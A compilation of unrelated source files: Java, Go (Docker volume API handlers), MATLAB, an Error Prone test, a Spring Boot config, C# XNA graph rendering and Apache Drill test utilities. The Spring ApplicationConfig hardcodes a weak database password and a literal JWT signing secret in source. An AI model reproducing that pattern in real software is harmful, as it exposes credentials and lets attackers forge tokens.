        // tasks from all the available data sources.
    }

    @Override
    public void deleteTask(@NonNull String taskId) {
        TASKS_SERVICE_DATA.remove(taskId);
    }

    @Override
    public void deleteAllTasks() {
        TASKS_SERVICE_DATA.clear();
    }

    @VisibleForTesting
    public void addTasks(Task... tasks) {
        for (Task task : tasks) {
            TASKS_SERVICE_DATA.put(task.getId(), task);
        }
    }
}


text:
package volume

import (
	"encoding/json"
	"net/http"

	"github.com/docker/docker/api/server/httputils"
	"github.com/docker/docker/api/types"
	volumetypes "github.com/docker/docker/api/types/volume"
	"golang.org/x/net/context"
)

func (v *volumeRouter) getVolumesList(ctx context.Context, w http.ResponseWriter, r *http.Request, vars map[string]string) error {
	if err := httputils.ParseForm(r); err != nil {
		return err
	}

	volumes, warnings, err := v.backend.Volumes(r.Form.Get("filters"))
	if err != nil {
		return err
	}
	return httputils.WriteJSON(w, http.StatusOK, &volumetypes.VolumesListOKBody{Volumes: volumes, Warnings: warnings})
}

func (v *volumeRouter) getVolumeByName(ctx context.Context, w http.ResponseWriter, r *http.Request, vars map[string]string) error {
	if err := httputils.ParseForm(r); err != nil {
		return err
	}

	volume, err := v.backend.VolumeInspect(vars["name"])
	if err != nil {
		return err
	}
	return httputils.WriteJSON(w, http.StatusOK, volume)
}

func (v *volumeRouter) postVolumesCreate(ctx context.Context, w http.ResponseWriter, r *http.Request, vars map[string]string) error {
	if err := httputils.ParseForm(r); err != nil {
		return err
	}

	if err := httputils.CheckForJSON(r); err != nil {
		return err
	}

	var req volumetypes.VolumesCreateBody
	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
		return err
	}

	volume, err := v.backend.VolumeCreate(req.Name, req.Driver, req.DriverOpts, req.Labels)
	if err != nil {
		return err
	}
	return httputils.WriteJSON(w, http.StatusCreated, volume)
}

func (v *volumeRouter) deleteVolumes(ctx context.Context, w http.ResponseWriter, r *http.Request, vars map[string]string) error {
	if err := httputils.ParseForm(r); err != nil {
		return err
	}
	force := httputils.BoolValue(r, "force")
	if err := v.backend.VolumeRm(vars["name"], force); err != nil {
		return err
	}
	w.WriteHeader(http.StatusNoContent)
	return nil
}

func (v *volumeRouter) postVolumesPrune(ctx context.Context, w http.ResponseWriter, r *http.Request, vars map[string]string) error {
	if err := httputils.ParseForm(r); err != nil {
		return err
	}

	if err := httputils.CheckForJSON(r); err != nil {
		return err
	}

	var cfg types.VolumesPruneConfig
	if err := json.NewDecoder(r.Body).Decode(&cfg); err != nil {
		return err
	}

	pruneReport, err := v.backend.VolumesPrune(&cfg)
	if err != nil {
		return err
	}
	return httputils.WriteJSON(w, http.StatusOK, pruneReport)
}


text:
function f = gpsimMapFunctionalExtractParam(model)

% GPSIMMAPFUNCTIONALEXTRACTPARAM Extract the function values from a GPSIMMAP model.
% FORMAT
% DESC extracts the function values from a structure containing
% the information about a Gaussian process for single input motif
% modelling.
% ARG model : the model structure containing the information about
% the model.
% RETURN params : a row vector of the function parameters from the model.
%
% SEEALSO : gpsimMapCreate, gpsimMapFunctionalExpandParam, modelExtractParam
%
% COPYRIGHT : Neil D. Lawrence, 2006

% SHEFFIELDML

f = model.f';


text:
package com.google.errorprone.bugpatterns;

import com.google.errorprone.CompilationTestHelper;

import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;

@RunWith(JUnit4.class)
public class EqualsHashCodeTest {

  private CompilationTestHelper compilationHelper;

  @Before
  public void setUp() {
    compilationHelper = CompilationTestHelper.newInstance(EqualsHashCode.class, getClass());
  }

  @Test
  public void testPositiveCase() throws Exception {
    compilationHelper.addSourceFile("EqualsHashCodeTestPositiveCases.java").doTest();
  }

  @Test
  public void testNegativeCase() throws Exception {
    compilationHelper.addSourceFile("EqualsHashCodeTestNegativeCases.java").doTest();
  }

  @Test
  public void superClassWithoutHashCode() throws Exception {
    compilationHelper
        .addSourceLines(
            "Super.java",
            "abstract class Super {}")
        .addSourceLines(
            "Test.java",
            "class Test extends Super {",
            "  // BUG: Diagnostic contains:",
            "  public boolean equals(Object o) { return false; }",
            "}")
        .doTest();
  }

  @Test
  public void inherited() throws Exception {
    compilationHelper
        .addSourceLines(
            "Super.java",
            "class Super {",
            "  public int hashCode() {",
            "    return 42;",
            "  }",
            "}")
        .addSourceLines(
            "Test.java",
            "class Test extends Super {",
            "  public boolean equals(Object o) { return false; }",
            "}")
        .doTest();
  }

  @Test
  public void interfaceEquals() throws Exception {
    compilationHelper
        .addSourceLines(
            "I.java",
            "interface I {",
            "  boolean equals(Object o);",
            "}")
        .doTest();
  }

  @Test
  public void abstractHashCode() throws Exception {
    compilationHelper
        .addSourceLines(
            "Super.java",
            "abstract class Super {",
            "  public abstract boolean equals(Object o);",
            "  public abstract int hashCode();",
            "}")
        .doTest();
  }

  @Test
  public void abstractNoHashCode() throws Exception {
    compilationHelper
        .addSourceLines(
            "Super.java",
            "abstract class Super {",
            "  // BUG: Diagnostic contains:",
            "  public abstract boolean equals(Object o);",
            "}")
        .doTest();
  }
}


text:
package tma.lnquy.todo;

import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.ImportResource;
import org.springframework.dao.annotation.PersistenceExceptionTranslationPostProcessor;
import org.springframework.jdbc.datasource.DriverManagerDataSource;
import org.springframework.orm.jpa.JpaTransactionManager;
import org.springframework.orm.jpa.JpaVendorAdapter;
import org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean;
import org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter;
import org.springframework.transaction.PlatformTransactionManager;
import org.springframework.transaction.annotation.EnableTransactionManagement;

import javax.persistence.EntityManagerFactory;
import javax.sql.DataSource;
import java.util.Properties;

/**
 * Project: TodoTask
 * Author: lnquy
 * Email: lnquy@tma.com.vn
 * Date: 4/12/2016
 */
@Configuration
@EnableTransactionManagement
@ImportResource("todo-bean.xml")
@EnableAutoConfiguration
public class ApplicationConfig {

    @Bean
    public LocalContainerEntityManagerFactoryBean entityManagerFactory() {
        LocalContainerEntityManagerFactoryBean em = new LocalContainerEntityManagerFactoryBean();
        em.setDataSource(dataSource());
        em.setPackagesToScan("tma.lnquy.todo.entity");

        JpaVendorAdapter vendorAdapter = new HibernateJpaVendorAdapter();
        em.setJpaVendorAdapter(vendorAdapter);
        em.setJpaProperties(additionalProperties());

        return em;
    }

    @Bean
    public DataSource dataSource(){
        DriverManagerDataSource dataSource = new DriverManagerDataSource();
        dataSource.setDriverClassName("com.mysql.jdbc.Driver");
        dataSource.setUrl("jdbc:mysql://localhost:3306/todo");
        dataSource.setUsername( "test" );
        dataSource.setPassword( "123456" );
        return dataSource;
    }

    @Bean
    public PlatformTransactionManager transactionManager(EntityManagerFactory emf){
        JpaTransactionManager transactionManager = new JpaTransactionManager();
        transactionManager.setEntityManagerFactory(emf);

        return transactionManager;
    }

    @Bean
    public PersistenceExceptionTranslationPostProcessor exceptionTranslation(){
        return new PersistenceExceptionTranslationPostProcessor();
    }

    private Properties additionalProperties() {
        Properties properties = new Properties();
        properties.setProperty("server.port", "2611");
        properties.setProperty("hibernate.hbm2ddl.auto", "none");
        properties.setProperty("hibernate.dialect", "org.hibernate.dialect.MySQL5Dialect");

        properties.setProperty("jwt.header", "X-Auth-Token");
        properties.setProperty("jwt.secret", "TMAS0lut1On#lnquy@%$%TOD0T@kL!sT");
        properties.setProperty("jwt.expiration", "604800");
        properties.setProperty("jwt.route.authentication.path", "auth");
        properties.setProperty("jwt.route.authentication.refresh", "refresh");
        return properties;
    }
}


text:
package com.dremio.datastore.format.compound;

import java.util.List;

/**
 * Marker interface for compound keys used.
 *

 * A compound key is key composed of a list of named fields, each field having its own format.
 *

 * Field name and order is significant: adding/removing a field, renaming a field, or reordering
 * fields is an incompatible change which might make it impossible to read older versions of stores
 * using the key.
 *

 * Compound key instances can be represented as an immutable list of objects.
 */
public interface CompoundKey extends List<Object> {
}


text:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using WinFormsGraphicsDevice;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;

using Color = Microsoft.Xna.Framework.Color;
using Microsoft.Xna.Framework.Content;
using Graph;
using System.Runtime.InteropServices;
using System.Threading;

namespace EvoNet.Controls
{
    struct GraphCache
    {
        public VertexBuffer VertexAreaBuffer;
        public IndexBuffer IndexAreaBuffer;
        public VertexBuffer VertexLineBuffer;
        public int NumElements;
    }

    struct VertexPosition2 : IVertexType
    {
        private static readonly VertexDeclaration InternalVertexDeclaration;

        static VertexPosition2()
        {
            InternalVertexDeclaration = new VertexDeclaration(
                new VertexElement(0, VertexElementFormat.Vector2, VertexElementUsage.Position, 0)
            );
        }

        public VertexPosition2(Vector2 Position)
        {
            this.Position = Position;
        }

        VertexDeclaration IVertexType.VertexDeclaration
        {
            get
            {
                return InternalVertexDeclaration;
            }
        }

        public Vector2 Position;
    }

    public class GraphControl : GraphicsDeviceControl
    {
        public GraphControl()
        {

        }

        private Dictionary<string, IGraphValueList> graphs = new Dictionary<string, IGraphValueList>();
        private Dictionary<IGraphValueList, GraphCache> graphCaches = new Dictionary<IGraphValueList, GraphCache>();
        public void Add(string name, IGraphValueList list)
        {
            graphs.Add(name, list);
        }

        VertexPositionColor[] Elements = new VertexPositionColor[6];
        Effect Effect;
        protected override void Initialize()
        {
            base.Initialize();
            ContentManager manager = new ContentManager(Services, "Content");
            Effect = manager.Load<Effect>("Color");
        }

        private void DrawCache(IGraphValueList graph, ref GraphCache cache)
        {
            Effect.Parameters["Color"].SetValue(
                new Vector4(
                    graph.Color.R / 255.0f,
                    graph.Color.G / 255.0f,
                    graph.Color.B / 255.0f,
                    (float)graph.PlaneAlpha));
            GraphicsDevice.Indices = cache.IndexAreaBuffer;
            GraphicsDevice.SetVertexBuffer(cache.VertexAreaBuffer);
            foreach (EffectPass pass in Effect.CurrentTechnique.Passes)
            {
                pass.Apply();
                GraphicsDevice.DrawIndexedPrimitives(PrimitiveType.TriangleList, 0, 0, cache.VertexAreaBuffer.VertexCount, 0, cache.IndexAreaBuffer.IndexCount / 3);
            }
            Effect.Parameters["Color"].SetValue(
                new Vector4(
                    graph.Color.R / 255.0f,
                    graph.Color.G / 255.0f,
                    graph.Color.B / 255.0f,
                    (float)graph.GraphAlpha));
            GraphicsDevice.SetVertexBuffer(cache.VertexLineBuffer);
            foreach (EffectPass pass in Effect.CurrentTechnique.Passes)
            {
                pass.Apply();
                GraphicsDevice.DrawIndexedPrimitives(PrimitiveType.TriangleList, 0, 0, cache.VertexLineBuffer.VertexCount, 0, cache.IndexAreaBuffer.IndexCount / 3);
            }
        }

        private void CreateCache(IGraphValueList graph)
        {
            GraphCache cache;
            int CurrentVertexIndex = 0;
            int graphCount = graph.Count;
            int startIndex = 0;
            int elementCount = graphCount - startIndex;
            if (elementCount <= 0)
            {
                return;
            }
            Func<IGraphValue, decimal> GetY = (value) => { return value.DisplayValue; };
            Func<IGraphValue, decimal> GetX = (value) => { return value.DisplayPosition; };
            decimal maxY = graph[startIndex].DisplayValue;
            decimal minY = graph[startIndex].DisplayValue;
            decimal maxX = graph[startIndex].DisplayPosition;
            decimal minX = graph[startIndex].DisplayPosition;

            for (int elementIndex = startIndex; elementIndex < graphCount; elementIndex++)
            {
                maxY = Math.Max(maxY, graph[elementIndex].DisplayValue);
                minY = Math.Min(minY, graph[elementIndex].DisplayValue);
                maxX = Math.Max(maxX, graph[elementIndex].DisplayPosition);
                minX = Math.Min(minX, graph[elementIndex].DisplayPosition);
            }

            Func<decimal, float> GetRelativeY = (decimal alpha) =>
            {
                if (minY == maxY)
                {
                    return 0.0f;
                }
                return ((float)((alpha - minY) / (maxY - minY)) - 0.5f) * 2.0f;
            };

            Func<decimal, float> GetRelativeX = (decimal alpha) =>
            {
                return ((float)((alpha - minX) / (maxX - minX)) - 0.5f) * 2.0f;
            };

            VertexPosition2 upperPoint = new VertexPosition2();
            VertexPosition2 lowerPoint = new VertexPosition2();

            upperPoint.Position = new Vector2(-1, GetRelativeY(graph.ElementAt(0).DisplayValue));
            lowerPoint.Position = new Vector2(-1, -1);

            VertexPosition2[] vertexAreaBufferData = new VertexPosition2[((graphCount - startIndex) + 1) * 2];
            VertexPosition2[] vertexLineBufferData = new VertexPosition2[((graphCount - startIndex) + 1) * 2];
            int[] indexBufferData = new int[((graphCount - startIndex)) * 6];
            int CurrentIndexBufferIndex = 0;

            vertexAreaBufferData[CurrentVertexIndex] = upperPoint;
            vertexAreaBufferData[CurrentVertexIndex + 1] = lowerPoint;

            float lineWidth = (5.0f / Height) / 2.0f;
            Vector2 lineWidthOffset = new Vector2(0.0f, lineWidth / 2.0f);

            vertexLineBufferData[CurrentVertexIndex] = new VertexPosition2(upperPoint.Position + lineWidthOffset);
            vertexLineBufferData[CurrentVertexIndex + 1] = new VertexPosition2(upperPoint.Position - lineWidthOffset);

            CurrentVertexIndex = 2;

            Vector2 lastUpperPoint;

            for (int GraphIndex = startIndex; GraphIndex < graphCount; GraphIndex++)
            {
                float x = GetRelativeX(graph.ElementAt(GraphIndex).DisplayPosition);
                float y = GetRelativeY(graph.ElementAt(GraphIndex).DisplayValue);

                lastUpperPoint = upperPoint.Position;

                upperPoint.Position = new Vector2(x, y);
                lowerPoint.Position = new Vector2(x, -1);
                vertexAreaBufferData[CurrentVertexIndex] = upperPoint;
                vertexAreaBufferData[CurrentVertexIndex + 1] = lowerPoint;

                // Calculate orthogonal vector of direction from last point to this one,
                // so the line keeps its thickness along slopes
                // Without this sloped graphs would get very thin
                Vector2 dirFromLastPoint = upperPoint.Position - lastUpperPoint;
                if (GraphIndex + 1 < graphCount)
                {
                    dirFromLastPoint += new Vector2(
                        GetRelativeX(graph.ElementAt(GraphIndex + 1).DisplayPosition),
                        GetRelativeY(graph.ElementAt(GraphIndex + 1).DisplayValue)) - upperPoint.Position;
                    dirFromLastPoint /= 2;
                }
                dirFromLastPoint.Normalize();
                Vector2 orthogonalDir = new Vector2(-dirFromLastPoint.Y, dirFromLastPoint.X);

                vertexLineBufferData[CurrentVertexIndex] = (new VertexPosition2(upperPoint.Position + orthogonalDir * lineWidth));
                vertexLineBufferData[CurrentVertexIndex + 1] = (new VertexPosition2(upperPoint.Position - orthogonalDir * lineWidth));

                // Counter Clockwise Tris get culled in our current setting
                // So draw 2 triangles in clockwise order
                // -2---+0
                //  |   /|
                //  |  / |
                //  | /  |
                //  |/   |
                // -1---+1
                int LastUpperPoint = CurrentVertexIndex - 2;
                int LastLowerPoint = CurrentVertexIndex - 1;
                int CurrentUpperPoint = CurrentVertexIndex;
                int CurrentLowerPoint = CurrentVertexIndex + 1;
                indexBufferData[CurrentIndexBufferIndex] = LastUpperPoint;
                indexBufferData[CurrentIndexBufferIndex + 1] = CurrentUpperPoint;
                indexBufferData[CurrentIndexBufferIndex + 2] = LastLowerPoint;
                indexBufferData[CurrentIndexBufferIndex + 3] = LastLowerPoint;
                indexBufferData[CurrentIndexBufferIndex + 4] = CurrentUpperPoint;
                indexBufferData[CurrentIndexBufferIndex + 5] = CurrentLowerPoint;

                CurrentIndexBufferIndex += 6;
                CurrentVertexIndex += 2;

            }
            cache.VertexLineBuffer = new VertexBuffer(GraphicsDevice, typeof(VertexPosition2), CurrentVertexIndex, BufferUsage.WriteOnly);
            cache.VertexLineBuffer.SetData(vertexLineBufferData);

            cache.VertexAreaBuffer = new VertexBuffer(GraphicsDevice, typeof(VertexPosition2), CurrentVertexIndex, BufferUsage.WriteOnly);
            cache.VertexAreaBuffer.SetData(vertexAreaBufferData);
            cache.IndexAreaBuffer = new IndexBuffer(GraphicsDevice, IndexElementSize.ThirtyTwoBits, indexBufferData.Length, BufferUsage.WriteOnly);
            cache.IndexAreaBuffer.SetData(indexBufferData);

            cache.NumElements = graphCount;
            GraphCache oldCache;
            lock (this)
            {
                if (graphCaches.TryGetValue(graph, out oldCache))
                {
                    graphCaches.Remove(graph);
                    oldCache.IndexAreaBuffer?.Dispose();
                    oldCache.VertexAreaBuffer?.Dispose();
                    oldCache.VertexLineBuffer?.Dispose();
                }
                graphCaches[graph] = cache;
            }

        }

        private void DrawGraph(IGraphValueList graph)
        {
            if (graph.Count <= 1)
            {
                return;
            }

            GraphCache cache;

            bool needsRedraw = true;
            //if (graphCaches.TryGetValue(graph, out cache))
            //{
            //    if (cache.NumElements == graph.Count)
            //    {
            //        needsRedraw = false;
            //    }
            //}

            if (needsRedraw)
            {
                WaitCallback worker = (state) =>
                    {
                        try
                        {
                            CreateCache(graph);
                        }
                        catch (Exception)
                        {

                        }
                    };
                ThreadPool.QueueUserWorkItem(worker);
            }
            lock (this)
            {
                if (graphCaches.TryGetValue(graph, out cache))
                {
                    DrawCache(graph, ref cache);
                }
            }
        }

        protected override void Draw(GameTime gameTime)
        {
            //GraphicsDevice.RasterizerState.MultiSampleAntiAlias = true;
            PresentationParameters pp = GraphicsDevice.PresentationParameters;
            if (pp.MultiSampleCount < 4)
            {
                pp.MultiSampleCount = 4;
                GraphicsDevice.Reset(pp);
            }
            GraphicsDevice.Clear(Color.White);
            GraphicsDevice.BlendState = BlendState.AlphaBlend;
            GraphicsDevice.RasterizerState = RasterizerState.CullCounterClockwise;
            foreach (IGraphValueList graph in graphs.Values)
            {
                DrawGraph(graph);
            }

            base.Draw(gameTime);
        }
    }
}


text:
package org.apache.drill.exec.physical.rowSet;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;

import org.apache.drill.common.expression.SchemaPath;
import org.apache.drill.exec.memory.BufferAllocator;
import org.apache.drill.exec.record.metadata.TupleMetadata;

public class RowSetTestUtils {

  private RowSetTestUtils() { }

  public static List<SchemaPath> projectList(String... names) {
    List<SchemaPath> selected = new ArrayList<>();
    for (String name : names) {
      if (name.equals(SchemaPath.DYNAMIC_STAR) || name.equals("*")) {
        selected.add(SchemaPath.STAR_COLUMN);
      } else {
        selected.add(SchemaPath.parseFromString(name));
      }
    }
    return selected;
  }

  public static List<SchemaPath> projectList(List<String> names) {
    String nameArray[] = new String[names.size()];
    names.toArray(nameArray);
    return projectList(nameArray);
  }

  public static List<SchemaPath> projectCols(SchemaPath... cols) {
    List<SchemaPath> selected = new ArrayList<>();
    for (SchemaPath col: cols) {
      selected.add(col);
    }
    return selected;
  }

  public static List<SchemaPath> projectAll() {
    return Arrays.asList(
        new SchemaPath[] {SchemaPath.STAR_COLUMN});
  }

  public static List<SchemaPath> projectNone() {
    return Collections.emptyList();
  }

  @SafeVarargs
  public static List<SchemaPath> concat(List<SchemaPath>... parts) {
    List<SchemaPath> selected = new ArrayList<>();
    for (List<SchemaPath> part : parts) {
      selected.addAll(part);
    }
    return selected;
  }

  public static RowSetWriter makeWriter(BufferAllocator allocator, TupleMetadata outputSchema) {
    return makeWriter(allocator, outputSchema, 256);
  }

  public static RowSetWriter makeWriter(BufferAllocator allocator, TupleMetadata outputSchema, int size) {
    DirectRowSet rowSet = DirectRowSet.fromSchema(allocator, outputSchema);
    return rowSet.writer(size);
  }
}